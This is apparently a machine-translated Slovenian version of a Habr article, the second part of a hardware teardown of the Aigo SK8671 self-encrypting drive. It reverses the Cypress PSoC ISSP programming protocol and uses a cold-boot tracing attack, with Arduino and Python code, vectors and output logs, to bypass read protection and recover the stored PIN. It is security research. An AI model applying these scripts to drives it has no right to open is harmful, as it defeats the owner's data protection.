Obračanje in vdiranje zunanjega trdega diska Aigo s samošifriranjem. 2. del: Odstranjevanje iz Cypress PSoC

To je drugi in zadnji del članka o vdoru v zunanje samošifrirane pogone. Naj vas spomnim, da mi je kolega pred kratkim prinesel trdi disk Patriot (Aigo) SK8671 in odločil sem se, da ga obrnem, zdaj pa delim, kaj se je iz tega izcimilo. Preden nadaljujete z branjem, obvezno preberite prvi del člankov.

4. Začnemo odlagati iz notranjega bliskovnega pogona PSoC
5. Protokol ISSP
– 5.1. Kaj je ISSP
– 5.2. Demistificiranje vektorjev
– 5.3. Komunikacija s PSoC
– 5.4. Identifikacija registrov na čipu
– 5.5. Varnostni deli
6. Prvi (neuspeli) napad: ROMX
7. Drugi napad: Cold Boot Tracing
– 7.1. Izvedba
– 7.2. Branje rezultata
– 7.3. Flash binarna rekonstrukcija
– 7.4. Iskanje naslova za shranjevanje kode PIN
– 7.5. Odvoz odlagališča bloka št. 126
– 7.6. Obnovitev kode PIN
8. Kaj je naslednje?
9. Zaključek

Obračanje in vdiranje zunanjega trdega diska Aigo s samošifriranjem. 2. del: Odstranjevanje iz Cypress PSoC


4. Začnemo odlagati iz notranjega bliskovnega pogona PSoC

Torej vse kaže (kot smo ugotovili v [prvem delu]()), da je koda PIN shranjena v globinah bliskavice PSoC. Zato moramo prebrati te globine bliska. Fronta potrebnih del:

  • prevzame nadzor nad "komunikacijo" z mikrokontrolerjem;
  • najti način, kako preveriti, ali je ta »komunikacija« zaščitena pred branjem od zunaj;
  • najti način, kako zaobiti zaščito.

Veljavno kodo PIN je smiselno poiskati na dveh mestih:

  • notranji bliskovni pomnilnik;
  • SRAM, kamor lahko shranite pin kodo za primerjavo s pin kodo, ki jo vnese uporabnik.

Če pogledam naprej, bom omenil, da mi je še vedno uspelo narediti odlagališče notranjega bliskovnega pogona PSoC – mimo njegovega varnostnega sistema z napadom na strojno opremo, imenovanim »sledenje hladnega zagona« – potem ko sem razveljavil nedokumentirane zmogljivosti protokola ISSP. To mi je omogočilo, da neposredno izpišem dejansko kodo PIN.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Končna programska koda:

5. Protokol ISSP

5.1. Kaj je ISSP

»Komunikacija« z mikrokrmilnikom lahko pomeni različne stvari: od »od prodajalca do prodajalca« do interakcije z uporabo serijskega protokola (na primer ICSP za Microchipov PIC).

Cypress ima za to svoj lastniški protokol, imenovan ISSP (in-system serial programming protocol), ki je delno opisan v tehnična specifikacija. Patent US7185162 daje tudi nekaj informacij. Obstaja tudi odprtokodni ekvivalent, imenovan HSSP (uporabili ga bomo malo kasneje). ISSP deluje na naslednji način:

  • znova zaženite PSoC;
  • iznesite magično številko na serijski podatkovni pin tega PSoC; za vstop v način zunanjega programiranja;
  • pošiljanje ukazov, ki so dolgi bitni nizi, imenovani "vektorji".

Dokumentacija ISSP definira te vektorje le za majhno peščico ukazov:

  • Inicializiraj-1
  • Inicializiraj-2
  • Inicializiraj-3 (možnosti 3V in 5V)
  • ID-NASTAVITEV
  • PREBERI-ID-BESEDO
  • SET-BLOK-ŠTEV: 10011111010dddddddd111, kjer je dddddddd=blok #
  • MNOŽIČNO IZBRISANJE
  • PROGRAM-BLOK
  • PREVERI-NASTAVITEV
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, kjer je DDDDDDDD = izhod podatkov, aaaaaa = naslov (6 bitov)
  • WRITE-BYTE: 10010aaaaaaddddddd111, kjer je dddddddd = podatek, aaaaaa = naslov (6 bitov)
  • SECURE
  • NASTAVITEV KONTROLNE VSOTE
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kjer je DDDDDDDDDDDDDDDD = izhod podatkov: kontrolna vsota naprave
  • IZBRIŠI BLOK

Na primer, vektor za Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Vsi vektorji imajo enako dolžino: 22 bitov. Dokumentacija HSSP vsebuje nekaj dodatnih informacij o ISSP: "Vektor ISSP ni nič drugega kot bitno zaporedje, ki predstavlja nabor navodil."

5.2. Demistificiranje vektorjev

Ugotovimo, kaj se tukaj dogaja. Sprva sem domneval, da so ti isti vektorji neobdelane različice navodil M8C, toda po preverjanju te hipoteze sem odkril, da se operacijski kodi operacij ne ujemata.

Potem sem poguglal ​​zgornji vektor in naletel to študija, kjer avtor, čeprav se ne spušča v podrobnosti, poda nekaj koristnih nasvetov: »Vsako navodilo se začne s tremi biti, ki ustrezajo eni od štirih mnemonik (branje iz RAM-a, pisanje v RAM, branje registra, pisanje registra). Nato je tu 8 naslovnih bitov, sledi 8 podatkovnih bitov (branje ali pisanje) in končno trije stop bitovi.«

Potem mi je uspelo zbrati nekaj zelo koristnih informacij iz razdelka Nadzorni ROM (SROM). tehnični priročnik. SROM je trdo kodiran ROM v PSoC, ki zagotavlja pomožne funkcije (na podoben način kot Syscall) za programsko kodo, ki se izvaja v uporabniškem prostoru:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: Izbriši blok
  • 06h: TableRead
  • 07h: kontrolna vsota
  • 08h: Umeri 0
  • 09h: Umeri 1

S primerjavo imen vektorjev s funkcijami SROM lahko različne operacije, ki jih podpira ta protokol, preslikamo v pričakovane parametre SROM. Zahvaljujoč temu lahko dekodiramo prve tri bite vektorjev ISSP:

  • 100 => "wrem"
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Vendar je popolno razumevanje procesov na čipu mogoče doseči le z neposredno komunikacijo s PSoC.

5.3. Komunikacija s PSoC

Ker je Dirk Petrautsky že prenesen Cypressovo kodo HSSP na Arduinu, uporabil sem Arduino Uno za povezavo s priključkom ISSP na tipkovnici.

Upoštevajte, da sem med raziskovanjem precej spremenil Dirkovo kodo. Mojo spremembo najdete na GitHubu: tukaj in ustrezen skript Python za komunikacijo z Arduinom v mojem skladišču cypress_psoc_tools.

Torej, z uporabo Arduina sem najprej uporabil samo "uradne" vektorje za "komunikacijo". Z ukazom VERIFY sem poskušal prebrati notranji ROM. Kot je bilo pričakovano, mi tega ni uspelo. Verjetno zaradi dejstva, da so v bliskovnem pogonu aktivirani biti za zaščito pred branjem.

Nato sem ustvaril nekaj svojih preprostih vektorjev za pisanje in branje pomnilnika/registrov. Upoštevajte, da lahko preberemo celoten SROM, čeprav je bliskovni pogon zaščiten!

5.4. Identifikacija registrov na čipu

Po ogledu "razstavljenih" vektorjev sem odkril, da naprava uporablja nedokumentirane registre (0xF8-0xFA) za določanje kod M8C, ki se izvajajo neposredno, mimo zaščite. To mi je omogočilo zagon različnih operacijskih kod, kot so "ADD", "MOV A, X", "PUSH" ali "JMP". Zahvaljujoč njim (z opazovanjem stranskih učinkov, ki jih imajo na registre) sem lahko ugotovil, kateri od nedokumentiranih registrov so bili dejansko običajni registri (A, X, SP in PC).

Posledično je "razstavljena" koda, ki jo ustvari orodje HSSP_disas.rb, videti takole (zaradi jasnosti sem dodal komentarje):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Varnostni deli

Na tej stopnji že lahko komuniciram s PSoC, vendar še vedno nimam zanesljivih informacij o varnostnih delih bliskovnega pogona. Zelo me je presenetilo dejstvo, da Cypress uporabniku naprave ne omogoča preverjanja, ali je zaščita aktivirana. Poglobil sem se v Google, da sem končno razumel, da je bila koda HSSP, ki jo je zagotovil Cypress, posodobljena, potem ko je Dirk izdal svojo spremembo. In tako! Pojavil se je ta novi vektor:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Z uporabo tega vektorja (glejte read_security_data v psoc.py) dobimo vse varnostne bite v SRAM pri 0x80, kjer sta dva bita na zaščiten blok.

Rezultat je depresiven: vse je zaščiteno v načinu »onemogoči zunanje branje in pisanje«. Zato ne samo, da ne moremo prebrati ničesar z bliskovnega pogona, ampak tudi ne moremo ničesar zapisati (na primer, da tam namestite ROM dumper). In edini način za onemogočanje zaščite je popolno brisanje celotnega čipa. 🙁

6. Prvi (neuspeli) napad: ROMX

Vendar pa lahko poskusimo z naslednjim trikom: ker imamo možnost izvajanja poljubnih operacijskih kod, zakaj ne bi izvršili ROMX, ki se uporablja za branje bliskovnega pomnilnika? Ta pristop ima dobre možnosti za uspeh. Ker funkcija ReadBlock, ki bere podatke iz SROM (ki ga uporabljajo vektorji), preveri, ali je klicana iz ISSP. Vendar operacijska koda ROMX morda ne bo imela takega preverjanja. Tukaj je torej koda Python (po dodajanju nekaj pomožnih razredov kodi Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Na žalost ta koda ne deluje. 🙁 Oziroma deluje, vendar na izhodu dobimo lastne opcode (0x28 0x30 0x40)! Mislim, da ustrezna funkcionalnost naprave ni element zaščite pred branjem. To je bolj podobno inženirskemu triku: pri izvajanju zunanjih operacijskih kod je vodilo ROM preusmerjeno na začasni medpomnilnik.

7. Drugi napad: Cold Boot Tracing

Ker trik ROMX ni deloval, sem začel razmišljati o drugi različici tega trika - opisano v publikaciji "Preveč osvetlitve zaščite vdelane programske opreme mikrokrmilnika".

7.1. Izvedba

Dokumentacija ISSP ponuja naslednji vektor za CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

To v bistvu kliče funkcijo SROM 0x07, kot je predstavljeno v dokumentaciji (kurziv moj):

Ta funkcija preverjanja kontrolne vsote. Izračuna 16-bitno kontrolno vsoto števila uporabniško določenih blokov v eni bliskovni banki, začenši od nič. Parameter BLOCKID se uporablja za posredovanje števila blokov, ki bodo uporabljeni pri izračunu kontrolne vsote. Vrednost "1" bo izračunala samo kontrolno vsoto za blok nič; ker "0" bo povzročilo izračun skupne kontrolne vsote vseh 256 blokov bliskovne banke. 16-bitna kontrolna vsota je vrnjena prek KEY1 in KEY2. Parameter KEY1 shrani 8 bitov nižjega reda kontrolne vsote, parameter KEY2 pa 8 bitov višjega reda. Pri napravah z več flash bankami se funkcija kontrolne vsote kliče za vsako posebej. Številko banke, s katero bo deloval, nastavi register FLS_PR1 (z nastavitvijo bita v njem, ki ustreza ciljni flash banki).

Upoštevajte, da je to preprosta kontrolna vsota: bajti se preprosto dodajajo drug za drugim; brez modnih CRC domislic. Poleg tega, ker sem vedel, da ima jedro M8C zelo majhen nabor registrov, sem domneval, da bodo pri izračunu kontrolne vsote vmesne vrednosti zapisane v iste spremenljivke, ki bodo na koncu šle na izhod: KEY1 (0xF8) / KEY2 ( 0xF9).

Torej v teoriji moj napad izgleda takole:

  1. Povezujemo se preko ISSP.
  2. Izračun kontrolne vsote začnemo z vektorjem CHECKSUM-SETUP.
  3. Po določenem času T ponovno zaženemo procesor.
  4. Preberemo RAM, da dobimo trenutno kontrolno vsoto C.
  5. Ponovite koraka 3 in 4 in vsakič nekoliko povečajte T.
  6. Podatke iz bliskovnega pogona obnovimo tako, da odštejemo prejšnjo kontrolno vsoto C od trenutne.

Vendar obstaja težava: vektor Initialize-1, ki ga moramo poslati po ponovnem zagonu, prepiše KEY1 in KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ta koda prepiše našo dragoceno kontrolno vsoto s klicem Calibrate1 (funkcija SROM 9)... Morda lahko preprosto pošljemo čarobno številko (z začetka zgornje kode), da vstopimo v programski način, in nato preberemo SRAM? In ja, deluje! Koda Arduino, ki izvaja ta napad, je precej preprosta:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Preberite checkum_delay.
  2. Zaženi izračun kontrolne vsote (send_checksum_v).
  3. Počakajte določen čas; ob upoštevanju naslednjih pasti:
    • Izgubil sem veliko časa, dokler nisem ugotovil, kaj se je izkazalo zamuda mikrosekund deluje pravilno samo z zamiki, ki ne presegajo 16383 μs;
    • in nato spet ubijal enako količino časa, dokler nisem odkril, da delayMicroseconds, če se ji posreduje 0 kot vhod, deluje popolnoma nepravilno!
  4. Ponovno zaženite PSoC v način za programiranje (pošljemo samo čarobno številko, brez pošiljanja inicializacijskih vektorjev).

Končna koda v Pythonu:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Na kratko, kaj počne ta koda:

  1. Ponovno zažene PSoC (in mu pošlje čarobno številko).
  2. Pošlje celotne inicializacijske vektorje.
  3. Pokliče funkcijo Arduino Cmnd_STK_START_CSUM (0x85), kjer je zakasnitev v mikrosekundah posredovana kot parameter.
  4. Prebere kontrolno vsoto (0xF8 in 0xF9) in nedokumentiran register 0xF1.

Ta koda se izvede 10-krat v 1 mikrosekundi. 0xF1 je tukaj vključen, ker je bil to edini register, ki se je spremenil pri izračunu kontrolne vsote. Morda gre za nekakšno začasno spremenljivko, ki jo uporablja aritmetično logična enota. Upoštevajte grd vdor, ki ga uporabljam za ponastavitev Arduina z uporabo picocoma, ko Arduino preneha kazati znake življenja (ne vem zakaj).

7.2. Branje rezultata

Rezultat skripta Python izgleda takole (poenostavljeno zaradi berljivosti):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Kot rečeno, imamo težavo: ker delujemo z dejansko kontrolno vsoto, ničelni bajt ne spremeni prebrane vrednosti. Ker pa celoten postopek izračuna (8192 bajtov) traja 0,1478 sekunde (z majhnimi spremembami ob vsakem zagonu), kar je enako približno 18,04 μs na bajt, lahko ta čas uporabimo za preverjanje vrednosti kontrolne vsote ob primernem času. Pri prvih zagonih se vse prebere precej enostavno, saj je trajanje računskega postopka vedno skoraj enako. Vendar pa je konec tega izpisa manj natančen, ker se "manjša časovna odstopanja" pri vsakem zagonu seštejejo in postanejo pomembna:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

To je 10 odlagališč za vsako mikrosekundo zamude. Skupni čas delovanja za izpis vseh 8192 bajtov bliskovnega pogona je približno 48 ur.

7.3. Flash binarna rekonstrukcija

Nisem še dokončal pisanja kode, ki bo popolnoma rekonstruirala programsko kodo bliskovnega pogona ob upoštevanju vseh časovnih odstopanj. Vendar sem že obnovil začetek te kode. Da sem se prepričal, da sem naredil pravilno, sem ga razstavil z m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Izgleda precej verjetno!

7.4. Iskanje naslova za shranjevanje kode PIN

Zdaj, ko lahko preberemo kontrolno vsoto, ko jo potrebujemo, lahko preprosto preverimo, kako in kje se spremeni, ko:

  • vnesite napačno kodo PIN;
  • spremenite pin kodo.

Najprej, da bi našel približen naslov za shranjevanje, sem po ponovnem zagonu naredil izpis kontrolne vsote v korakih po 10 ms. Potem sem vnesel napačen PIN in naredil enako.

Rezultat ni bil preveč prijeten, saj je bilo veliko sprememb. Toda na koncu sem lahko ugotovil, da se je kontrolna vsota spremenila nekje med 120000 µs in 140000 µs zakasnitve. Toda »pincode«, ki sem jo tam prikazal, je bila popolnoma napačna - zaradi artefakta postopka delayMicroseconds, ki dela čudne stvari, ko se ji posreduje 0.

Potem, ko sem porabil skoraj 3 ure, sem se spomnil, da sistemski klic SROM CheckSum prejme argument kot vhod, ki določa število blokov za kontrolno vsoto! to. zlahka lokaliziramo naslov shranjevanja kode PIN in števca »nepravilnih poskusov«, z natančnostjo do 64-bajtnega bloka.

Moji začetni zagoni so dali naslednje rezultate:

Obračanje in vdiranje zunanjega trdega diska Aigo s samošifriranjem. 2. del: Odstranjevanje iz Cypress PSoC

Potem sem spremenil kodo PIN iz "123456" v "1234567" in dobil:

Obračanje in vdiranje zunanjega trdega diska Aigo s samošifriranjem. 2. del: Odstranjevanje iz Cypress PSoC

Tako se zdi, da sta PIN koda in števec nepravilnih poskusov shranjena v bloku št. 126.

7.5. Odvoz odlagališča bloka št. 126

Blok #126 bi moral biti lociran nekje okoli 125x64x18 = 144000μs, od začetka izračuna kontrolne vsote, v mojem celotnem odlagališču, in izgleda precej verjetno. Nato sem po ročnem presejanju številnih neveljavnih odlagališč (zaradi kopičenja »manjših časovnih odstopanj«) na koncu dobil te bajte (pri zakasnitvi 145527 μs):

Obračanje in vdiranje zunanjega trdega diska Aigo s samošifriranjem. 2. del: Odstranjevanje iz Cypress PSoC

Povsem očitno je, da je koda PIN shranjena v nešifrirani obliki! Te vrednosti seveda niso zapisane v kodah ASCII, ampak kot se je izkazalo, odražajo odčitke, vzete s kapacitivne tipkovnice.

Na koncu sem izvedel še nekaj testov, da bi ugotovil, kje je shranjen števec slabih poskusov. Tukaj je rezultat:

Obračanje in vdiranje zunanjega trdega diska Aigo s samošifriranjem. 2. del: Odstranjevanje iz Cypress PSoC

0xFF - pomeni "15 poskusov" in se zmanjša z vsakim neuspelim poskusom.

7.6. Obnovitev kode PIN

Tukaj je moja grda koda, ki združuje zgoraj navedeno:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Tukaj je rezultat njegove izvedbe:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hura! deluje!

Upoštevajte, da so vrednosti zakasnitve, ki sem jih uporabil, verjetno pomembne za en določen PSoC – tistega, ki sem ga uporabil.

8. Kaj je naslednje?

Torej, povzamemo na strani PSoC v kontekstu našega pogona Aigo:

  • lahko beremo SRAM, tudi če je zaščiten pred branjem;
  • Zaščito proti potegu lahko zaobidemo z napadom s sledenjem hladnega zagona in neposrednim branjem kode PIN.

Vendar ima naš napad nekaj pomanjkljivosti zaradi težav s sinhronizacijo. Lahko bi ga izboljšali na naslednji način:

  • napisati pripomoček za pravilno dekodiranje izhodnih podatkov, ki so pridobljeni kot posledica napada »sledi hladnega zagona«;
  • uporabite pripomoček FPGA za ustvarjanje natančnejših časovnih zakasnitev (ali uporabite časovnike strojne opreme Arduino);
  • poskusite z drugim napadom: vnesite namerno napačno kodo PIN, znova zaženite in izpolnite RAM, v upanju, da se bo pravilna koda PIN shranila v RAM za primerjavo. Vendar to na Arduinu ni tako enostavno narediti, saj je raven signala Arduino 5 voltov, medtem ko plošča, ki jo pregledujemo, deluje s signali 3,3 volta.

Ena zanimiva stvar, ki bi jo lahko poskusili, je igranje z nivojem napetosti, da bi zaobšli zaščito pred branjem. Če bi ta pristop deloval, bi lahko dobili popolnoma natančne podatke iz bliskovnega pogona - namesto da bi se zanašali na branje kontrolne vsote z nenatančnimi časovnimi zamiki.

Ker SROM verjetno bere varovalne bite prek sistemskega klica ReadBlock, bi lahko storili enako kot opisano na blogu Dmitrija Nedospasova - ponovna izvedba napada Chrisa Gerlinskega, napovedana na konferenci "REcon Bruselj 2017".

Še ena zabavna stvar, ki bi jo lahko naredili, je, da bi odstranili ohišje s čipa: naredili izpis SRAM, prepoznali nedokumentirane sistemske klice in ranljivosti.

9. Zaključek

Torej, zaščita tega diska pušča veliko želenega, saj za shranjevanje PIN kode uporablja navaden (ne “otrdel”) mikrokrmilnik ... Poleg tega (še) nisem pogledal, kako je s podatki šifriranje na tej napravi!

Kaj lahko priporočate za Aigo? Po analizi nekaj modelov šifriranih trdih diskov sem leta 2015 naredil predstavitev na SyScan, v katerem je preučil varnostne težave več zunanjih trdih diskov in podal priporočila, kaj bi lahko izboljšali na njih. 🙂

Za to raziskavo sem porabil dva vikenda in več večerov. Skupaj okoli 40 ur. Štetje od samega začetka (ko sem odprl disk) do konca (izpis PIN kode). Istih 40 ur vključuje čas, ki sem ga porabil za pisanje tega članka. Bilo je zelo razburljivo potovanje.

Vir: www.habr.com

Dodaj komentar